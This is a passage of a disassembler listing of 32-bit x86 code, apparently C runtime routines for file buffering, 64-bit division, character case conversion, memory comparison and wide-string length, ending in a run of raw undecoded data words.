[ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx push 0FFFFFFFFh mov edx, [ebp+arg_4] push edx push 9 mov eax, dword_4DB1C8 push eax nop call near ptr 2810000h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_419E59 mov eax, [ebp+var_4] sub eax, 1 jmp loc_419F64 ; --------------------------------------------------------------------------- loc_419E59: ; CODE XREF: sub_419D80+CCj nop call near ptr 26908EFh cmp eax, 7Ah jz short loc_419E77 call sub_420520 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_419F64 ; --------------------------------------------------------------------------- loc_419E77: ; CODE XREF: sub_419D80+E2j mov ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+arg_4] mov [ebp+var_8], edx jmp short loc_419E8E ; --------------------------------------------------------------------------- loc_419E85: ; CODE XREF: sub_419D80:loc_419ECFj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_419E8E: ; CODE XREF: sub_419D80+103j mov ecx, [ebp+var_10] mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx test ecx, ecx jz short loc_419ED1 mov eax, [ebp+var_8] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_419ED1 mov edx, [ebp+var_8] xor eax, eax mov al, [edx] mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_419ECF mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_419ECF: ; CODE XREF: sub_419D80+144j jmp short loc_419E85 ; --------------------------------------------------------------------------- loc_419ED1: ; CODE XREF: sub_419D80+11Cj ; sub_419D80+127j mov ecx, [ebp+var_8] sub ecx, [ebp+arg_4] mov [ebp+var_C], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_4] push edx push 1 mov eax, dword_4DB1C8 push eax nop call near ptr 2810000h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_419F11 call sub_420520 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_419F64 ; --------------------------------------------------------------------------- loc_419F11: ; CODE XREF: sub_419D80+17Fj mov eax, [ebp+var_4] jmp short loc_419F64 ; --------------------------------------------------------------------------- loc_419F16: ; CODE XREF: sub_419D80+51j cmp dword_4DB1B8, 0 jnz short loc_419F2D mov ecx, [ebp+arg_4] push ecx call sub_414BE0 add esp, 4 jmp short loc_419F64 ; --------------------------------------------------------------------------- loc_419F2D: ; CODE XREF: sub_419D80+19Dj push 0 push 0 push 0FFFFFFFFh mov edx, [ebp+arg_4] push edx push 9 mov eax, dword_4DB1C8 push eax nop call near ptr 2810000h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_419F5E call sub_420520 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_419F64 ; --------------------------------------------------------------------------- loc_419F5E: ; CODE XREF: sub_419D80+1CCj mov eax, [ebp+var_4] sub eax, 1 loc_419F64: ; CODE XREF: sub_419D80+1Ej ; sub_419D80+88j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_419D80 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_419F77: ; CODE XREF: ___:00419F9Fj cmp dword ptr [ebp+8], 0 jnz short loc_419F9B push offset dword_4334A4 push 0 push 65h push offset dword_433CD8 push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_419F9B int 3 ; Trap to Debugger loc_419F9B: ; CODE XREF: ___:00419F7Bj ; ___:00419F98j xor eax, eax test eax, eax jnz short loc_419F77 mov ecx, [ebp+8] push ecx call sub_418E90 add esp, 4 mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_419FE0 add esp, 0Ch mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_418F00 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FE0 proc near ; CODE XREF: ___:00419FB9p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_419FE7: ; CODE XREF: sub_419FE0+32j cmp [ebp+arg_0], 0 jnz short loc_41A00E push offset dword_4334B4 push 0 push 92h push offset dword_433CD8 push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_41A00E int 3 ; Trap to Debugger loc_41A00E: ; CODE XREF: sub_419FE0+Bj ; sub_419FE0+2Bj xor eax, eax test eax, eax jnz short loc_419FE7 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41A03B cmp [ebp+arg_8], 0 jz short loc_41A04E cmp [ebp+arg_8], 1 jz short loc_41A04E cmp [ebp+arg_8], 2 jz short loc_41A04E loc_41A03B: ; CODE XREF: sub_419FE0+47j call sub_420520 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_41A100 ; --------------------------------------------------------------------------- loc_41A04E: ; CODE XREF: sub_419FE0+4Dj ; sub_419FE0+53j ... mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 0FFFFFFEFh mov eax, [ebp+var_4] mov [eax+0Ch], edx cmp [ebp+arg_8], 1 jnz short loc_41A07E mov ecx, [ebp+var_4] push ecx call sub_4255E0 add esp, 4 mov edx, [ebp+arg_4] add edx, eax mov [ebp+arg_4], edx mov [ebp+arg_8], 0 loc_41A07E: ; CODE XREF: sub_419FE0+81j mov eax, [ebp+var_4] push eax call sub_41B420 add esp, 4 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_41A0AB mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 0FFFFFFFCh mov edx, [ebp+var_4] mov [edx+0Ch], ecx jmp short loc_41A0DF ; --------------------------------------------------------------------------- loc_41A0AB: ; CODE XREF: sub_419FE0+B8j mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 1 test ecx, ecx jz short loc_41A0DF mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 8 test eax, eax jz short loc_41A0DF mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 400h test edx, edx jnz short loc_41A0DF mov eax, [ebp+var_4] mov dword ptr [eax+18h], 200h loc_41A0DF: ; CODE XREF: sub_419FE0+C9j ; sub_419FE0+D6j ... mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx call sub_425420 add esp, 0Ch sub eax, 0FFFFFFFFh neg eax sbb eax, eax neg eax dec eax loc_41A100: ; CODE XREF: sub_419FE0+69j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_419FE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A110 proc near ; CODE XREF: ___:00410F49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] push eax call sub_418E90 add esp, 4 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41A150 add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+arg_C] push edx call sub_418F00 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41A110 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A150 proc near ; CODE XREF: sub_41A110+20p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] imul ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov [ebp+var_C], edx cmp [ebp+var_C], 0 jnz short loc_41A179 xor eax, eax jmp loc_41A365 ; --------------------------------------------------------------------------- loc_41A179: ; CODE XREF: sub_41A150+20j mov eax, [ebp+arg_C] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jz short loc_41A194 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax jmp short loc_41A19B ; --------------------------------------------------------------------------- loc_41A194: ; CODE XREF: sub_41A150+37j mov [ebp+var_1C], 1000h loc_41A19B: ; CODE XREF: sub_41A150+42j ; sub_41A150:loc_41A35Dj cmp [ebp+var_C], 0 jz loc_41A362 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jz short loc_41A229 mov eax, [ebp+arg_C] cmp dword ptr [eax+4], 0 jz short loc_41A229 mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] cmp edx, [ecx+4] jnb short loc_41A1D1 mov eax, [ebp+var_C] mov [ebp+var_20], eax jmp short loc_41A1DA ; --------------------------------------------------------------------------- loc_41A1D1: ; CODE XREF: sub_41A150+77j mov ecx, [ebp+arg_C] mov edx, [ecx+4] mov [ebp+var_20], edx loc_41A1DA: ; CODE XREF: sub_41A150+7Fj mov eax, [ebp+var_20] mov [ebp+var_18], eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_C] mov ecx, [eax] push ecx call sub_4187B0 add esp, 0Ch mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov [ebp+var_C], edx mov eax, [ebp+arg_C] mov ecx, [eax+4] sub ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx+4], ecx mov eax, [ebp+arg_C] mov ecx, [eax] add ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx], ecx mov eax, [ebp+var_8] add eax, [ebp+var_18] mov [ebp+var_8], eax jmp loc_41A35D ; --------------------------------------------------------------------------- loc_41A229: ; CODE XREF: sub_41A150+63j ; sub_41A150+6Cj mov ecx, [ebp+var_C] cmp ecx, [ebp+var_1C] jb loc_41A2FF mov edx, [ebp+arg_C] mov eax, [edx+0Ch] and eax, 108h test eax, eax jz short loc_41A264 mov ecx, [ebp+arg_C] push ecx call sub_41B420 add esp, 4 test eax, eax jz short loc_41A264 mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_41A365 ; --------------------------------------------------------------------------- loc_41A264: ; CODE XREF: sub_41A150+F2j ; sub_41A150+102j cmp [ebp+var_1C], 0 jz short loc_41A27C mov eax, [ebp+var_C] xor edx, edx div [ebp+var_1C] mov eax, [ebp+var_C] sub eax, edx mov [ebp+var_24], eax jmp short loc_41A282 ; --------------------------------------------------------------------------- loc_41A27C: ; CODE XREF: sub_41A150+118j mov ecx, [ebp+var_C] mov [ebp+var_24], ecx loc_41A282: ; CODE XREF: sub_41A150+12Aj mov edx, [ebp+var_24] mov [ebp+var_18], edx mov eax, [ebp+var_18] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] mov eax, [edx+10h] push eax call sub_425880 add esp, 0Ch mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41A2C7 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_41A365 ; --------------------------------------------------------------------------- loc_41A2C7: ; CODE XREF: sub_41A150+156j mov ecx, [ebp+var_C] sub ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, [ebp+var_14] mov [ebp+var_8], edx mov eax, [ebp+var_14] cmp eax, [ebp+var_18] jnb short loc_41A2FD mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_41A365 ; --------------------------------------------------------------------------- loc_41A2FD: ; CODE XREF: sub_41A150+18Fj jmp short loc_41A35D ; --------------------------------------------------------------------------- loc_41A2FF: ; CODE XREF: sub_41A150+DFj mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx] mov [ebp+var_4], edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_4] push ecx call sub_41E730 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_41A32A mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_41A365 ; --------------------------------------------------------------------------- loc_41A32A: ; CODE XREF: sub_41A150+1CBj mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] sub eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+arg_C] cmp dword ptr [ecx+18h], 0 jle short loc_41A350 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_28], eax jmp short loc_41A357 ; --------------------------------------------------------------------------- loc_41A350: ; CODE XREF: sub_41A150+1F3j mov [ebp+var_28], 1 loc_41A357: ; CODE XREF: sub_41A150+1FEj mov ecx, [ebp+var_28] mov [ebp+var_1C], ecx loc_41A35D: ; CODE XREF: sub_41A150+D4j ; sub_41A150:loc_41A2FDj jmp loc_41A19B ; --------------------------------------------------------------------------- loc_41A362: ; CODE XREF: sub_41A150+4Fj mov eax, [ebp+arg_8] loc_41A365: ; CODE XREF: sub_41A150+24j ; sub_41A150+10Fj ... mov esp, ebp pop ebp retn sub_41A150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A370 proc near ; CODE XREF: sub_41156C+8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax nop call near ptr 26B0C38h mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_41A39B nop call near ptr 26908EFh push eax call sub_420480 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_41A3CC ; --------------------------------------------------------------------------- loc_41A39B: ; CODE XREF: sub_41A370+15j mov ecx, [ebp+var_4] and ecx, 1 test ecx, ecx jz short loc_41A3CA mov edx, [ebp+arg_4] and edx, 2 test edx, edx jz short loc_41A3CA call sub_420520 mov dword ptr [eax], 0Dh call sub_420530 mov dword ptr [eax], 5 or eax, 0FFFFFFFFh jmp short loc_41A3CC ; --------------------------------------------------------------------------- loc_41A3CA: ; CODE XREF: sub_41A370+33j ; sub_41A370+3Dj xor eax, eax loc_41A3CC: ; CODE XREF: sub_41A370+29j ; sub_41A370+58j mov esp, ebp pop ebp retn sub_41A370 endp ; =============== S U B R O U T I N E ======================================= sub_41A3D0 proc near ; CODE XREF: sub_411586+3Fp ; sub_41406D+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41A3F2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41A433 ; --------------------------------------------------------------------------- loc_41A3F2: ; CODE XREF: sub_41A3D0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41A400: ; CODE XREF: sub_41A3D0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41A400 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41A42E cmp edx, [esp+8+arg_4] ja short loc_41A42E jb short loc_41A42F cmp eax, [esp+8+arg_0] jbe short loc_41A42F loc_41A42E: ; CODE XREF: sub_41A3D0+4Ej ; sub_41A3D0+54j dec esi loc_41A42F: ; CODE XREF: sub_41A3D0+56j ; sub_41A3D0+5Cj xor edx, edx mov eax, esi loc_41A433: ; CODE XREF: sub_41A3D0+20j pop esi pop ebx retn 10h sub_41A3D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41A440 proc near ; CODE XREF: sub_411586+2Dp ; sub_41406D+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41A461 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41A4B1 ; --------------------------------------------------------------------------- loc_41A461: ; CODE XREF: sub_41A440+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41A46F: ; CODE XREF: sub_41A440+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41A46F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41A49A cmp edx, [esp+4+arg_4] ja short loc_41A49A jb short loc_41A4A2 cmp eax, [esp+4+arg_0] jbe short loc_41A4A2 loc_41A49A: ; CODE XREF: sub_41A440+4Aj ; sub_41A440+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41A4A2: ; CODE XREF: sub_41A440+52j ; sub_41A440+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41A4B1: ; CODE XREF: sub_41A440+1Fj pop ebx retn 10h sub_41A440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41A4C0 proc near ; CODE XREF: sub_411696+5Ep ; sub_411696+8Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41A4E1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41A4E1: ; CODE XREF: sub_41A4C0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41A4FD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41A4FD: ; CODE XREF: sub_41A4C0+27j or eax, eax jnz short loc_41A519 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41A55A ; --------------------------------------------------------------------------- loc_41A519: ; CODE XREF: sub_41A4C0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41A527: ; CODE XREF: sub_41A4C0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41A527 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41A555 cmp edx, [esp+0Ch+arg_4] ja short loc_41A555 jb short loc_41A556 cmp eax, [esp+0Ch+arg_0] jbe short loc_41A556 loc_41A555: ; CODE XREF: sub_41A4C0+85j ; sub_41A4C0+8Bj dec esi loc_41A556: ; CODE XREF: sub_41A4C0+8Dj ; sub_41A4C0+93j xor edx, edx mov eax, esi loc_41A55A: ; CODE XREF: sub_41A4C0+57j dec edi jnz short loc_41A564 neg edx neg eax sbb edx, 0 loc_41A564: ; CODE XREF: sub_41A4C0+9Bj pop ebx pop esi pop edi retn 10h sub_41A4C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41A570 proc near ; CODE XREF: sub_411911+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41A5BC mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41A5BD test eax, 1 jz short loc_41A59D mov cl, [esi] cmp cl, [edi] jnz short loc_41A5EA inc esi inc edi dec eax jz short loc_41A5BA loc_41A59D: ; CODE XREF: sub_41A570+20j ; sub_41A570+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41A5EA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41A5EA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41A59D loc_41A5BA: ; CODE XREF: sub_41A570+2Bj ; sub_41A570+84j pop edi pop esi locret_41A5BC: ; CODE XREF: sub_41A570+6j retn ; --------------------------------------------------------------------------- loc_41A5BD: ; CODE XREF: sub_41A570+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41A5F2 repe cmpsd jz short loc_41A5F2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41A5E5 cmp ch, dh jnz short loc_41A5E5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41A5E5 cmp ch, dh loc_41A5E5: ; CODE XREF: sub_41A570+63j ; sub_41A570+67j ... mov eax, 0 loc_41A5EA: ; CODE XREF: sub_41A570+26j ; sub_41A570+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41A5F2: ; CODE XREF: sub_41A570+55j ; sub_41A570+59j test eax, eax jz short loc_41A5BA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41A5E5 dec eax jz short loc_41A619 cmp dh, ch jnz short loc_41A5E5 dec eax jz short loc_41A619 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41A5E5 dec eax loc_41A619: ; CODE XREF: sub_41A570+8Fj ; sub_41A570+96j pop edi pop esi retn sub_41A570 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] add eax, 20h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A630 proc near ; CODE XREF: sub_411C31+6p ; sub_411C4F+4Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB1B8, 0 jnz short loc_41A657 cmp [ebp+arg_0], 41h jl short loc_41A652 cmp [ebp+arg_0], 5Ah jg short loc_41A652 mov eax, [ebp+arg_0] add eax, 20h mov [ebp+arg_0], eax loc_41A652: ; CODE XREF: sub_41A630+11j ; sub_41A630+17j mov eax, [ebp+arg_0] jmp short loc_41A6BF ; --------------------------------------------------------------------------- loc_41A657: ; CODE XREF: sub_41A630+Bj push offset dword_4DB45C nop call near ptr 2840CCAh cmp dword_4DB458, 0 jz short loc_41A689 push offset dword_4DB45C nop call near ptr 2840C7Bh push 13h call sub_41B780 add esp, 4 mov [ebp+var_4], 1 jmp short loc_41A690 ; --------------------------------------------------------------------------- loc_41A689: ; CODE XREF: sub_41A630+39j mov [ebp+var_4], 0 loc_41A690: ; CODE XREF: sub_41A630+57j mov ecx, [ebp+arg_0] push ecx call sub_41A6D0 add esp, 4 mov [ebp+arg_0], eax cmp [ebp+var_4], 0 jz short loc_41A6B1 push 13h call sub_41B820 add esp, 4 jmp short loc_41A6BC ; --------------------------------------------------------------------------- loc_41A6B1: ; CODE XREF: sub_41A630+73j push offset dword_4DB45C call near ptr 2840C7Bh nop loc_41A6BC: ; CODE XREF: sub_41A630+7Fj mov eax, [ebp+arg_0] loc_41A6BF: ; CODE XREF: sub_41A630+25j mov esp, ebp pop ebp retn sub_41A630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6D0 proc near ; CODE XREF: sub_41A630+64p ; sub_42FE70+94p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp dword_4DB1B8, 0 jnz short loc_41A6FC cmp [ebp+arg_0], 41h jl short loc_41A6F4 cmp [ebp+arg_0], 5Ah jg short loc_41A6F4 mov eax, [ebp+arg_0] add eax, 20h mov [ebp+arg_0], eax loc_41A6F4: ; CODE XREF: sub_41A6D0+13j ; sub_41A6D0+19j mov eax, [ebp+arg_0] jmp loc_41A7F7 ; --------------------------------------------------------------------------- loc_41A6FC: ; CODE XREF: sub_41A6D0+Dj cmp [ebp+arg_0], 100h jge short loc_41A743 cmp dword_443B70, 1 jle short loc_41A721 push 1 mov ecx, [ebp+arg_0] push ecx call sub_41DA90 add esp, 8 mov [ebp+var_10], eax jmp short loc_41A735 ; --------------------------------------------------------------------------- loc_41A721: ; CODE XREF: sub_41A6D0+3Cj mov edx, [ebp+arg_0] mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 1 mov [ebp+var_10], ecx loc_41A735: ; CODE XREF: sub_41A6D0+4Fj cmp [ebp+var_10], 0 jnz short loc_41A743 mov eax, [ebp+arg_0] jmp loc_41A7F7 ; --------------------------------------------------------------------------- loc_41A743: ; CODE XREF: sub_41A6D0+33j ; sub_41A6D0+69j mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh and edx, 0FFh mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_41A78C mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh mov [ebp+var_8], dl mov al, byte ptr [ebp+arg_0] mov [ebp+var_7], al mov [ebp+var_6], 0 mov [ebp+var_4], 2 jmp short loc_41A79D ; --------------------------------------------------------------------------- loc_41A78C: ; CODE XREF: sub_41A6D0+98j mov cl, byte ptr [ebp+arg_0] mov [ebp+var_8], cl mov [ebp+var_7], 0 mov [ebp+var_4], 1 loc_41A79D: ; CODE XREF: sub_41A6D0+BAj push 1 push 0 push 3 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] push ecx push 100h mov edx, dword_4DB1B8 push edx call sub_425B90 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41A7D1 mov eax, [ebp+arg_0] jmp short loc_41A7F7 ; --------------------------------------------------------------------------- loc_41A7D1: ; CODE XREF: sub_41A6D0+FAj cmp [ebp+var_4], 1 jnz short loc_41A7E1 mov eax, [ebp+var_C] and eax, 0FFh jmp short loc_41A7F7 ; --------------------------------------------------------------------------- loc_41A7E1: ; CODE XREF: sub_41A6D0+105j mov eax, [ebp+var_C] and eax, 0FFh mov ecx, [ebp+var_C+1] and ecx, 0FFh shl ecx, 8 or eax, ecx loc_41A7F7: ; CODE XREF: sub_41A6D0+27j ; sub_41A6D0+6Ej ... mov esp, ebp pop ebp retn sub_41A6D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A800 proc near ; CODE XREF: ___:004123CBp ; sub_4132FD+55p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41A80A: ; CODE XREF: sub_41A800+1Fj mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax test edx, edx jz short loc_41A821 jmp short loc_41A80A ; --------------------------------------------------------------------------- loc_41A821: ; CODE XREF: sub_41A800+1Dj mov eax, [ebp+var_4] sub eax, [ebp+arg_0] sar eax, 1 sub eax, 1 mov esp, ebp pop ebp retn sub_41A800 endp ; --------------------------------------------------------------------------- dd 0F9E4BDDBh, 0BC9CEE46h, 5662A25Eh, 0FCCA38BBh, 0ED296DD7h dd 3DBD6AECh, 917793D4h, 4055B70Fh, 821B3A29h, 2EB42709h dd 213D3854h, 4DB0B0A3h, 0B0B0A100h, 0E8C1004Dh, 0FF2508h dd 0BCA30000h, 8B004DB0h, 4DB0B00Dh, 0FFE18100h, 89000000h dd 4DB0B80Dh, 0B8158B00h, 0C1004DB0h, 150308E2h, 4DB0BCh dd 0B0B41589h, 0B0A1004Dh, 0C1004DB0h, 0FF2510E8h, 0A30000FFh dd 4DB0B0h, 4DE8016Ah, 83000014h, 0C08504C4h, 1C6A0A75h dd 10FE8h, 4C48300h, 4FC7E8h, 75C08500h, 0E8106A0Ah, 0FCh dd 0C704C483h, 0FC45h, 2DE80000h, 90000076h, 43733AE8h dd 0B7A8A302h, 3DE8004Dh, 0A30000BFh, 4DB11Ch, 0BA23E8h dd 0B8CEE800h, 0F9E80000h, 0C7FFFFCFh, 0D045h, 4D8D0000h dd 0E9E851A4h, 90024356h, 0B7F3E8h, 9C458900h, 83D0558Bh dd 0D28501E2h, 458B0D74h, 0FFFF25D4h, 45890000h, 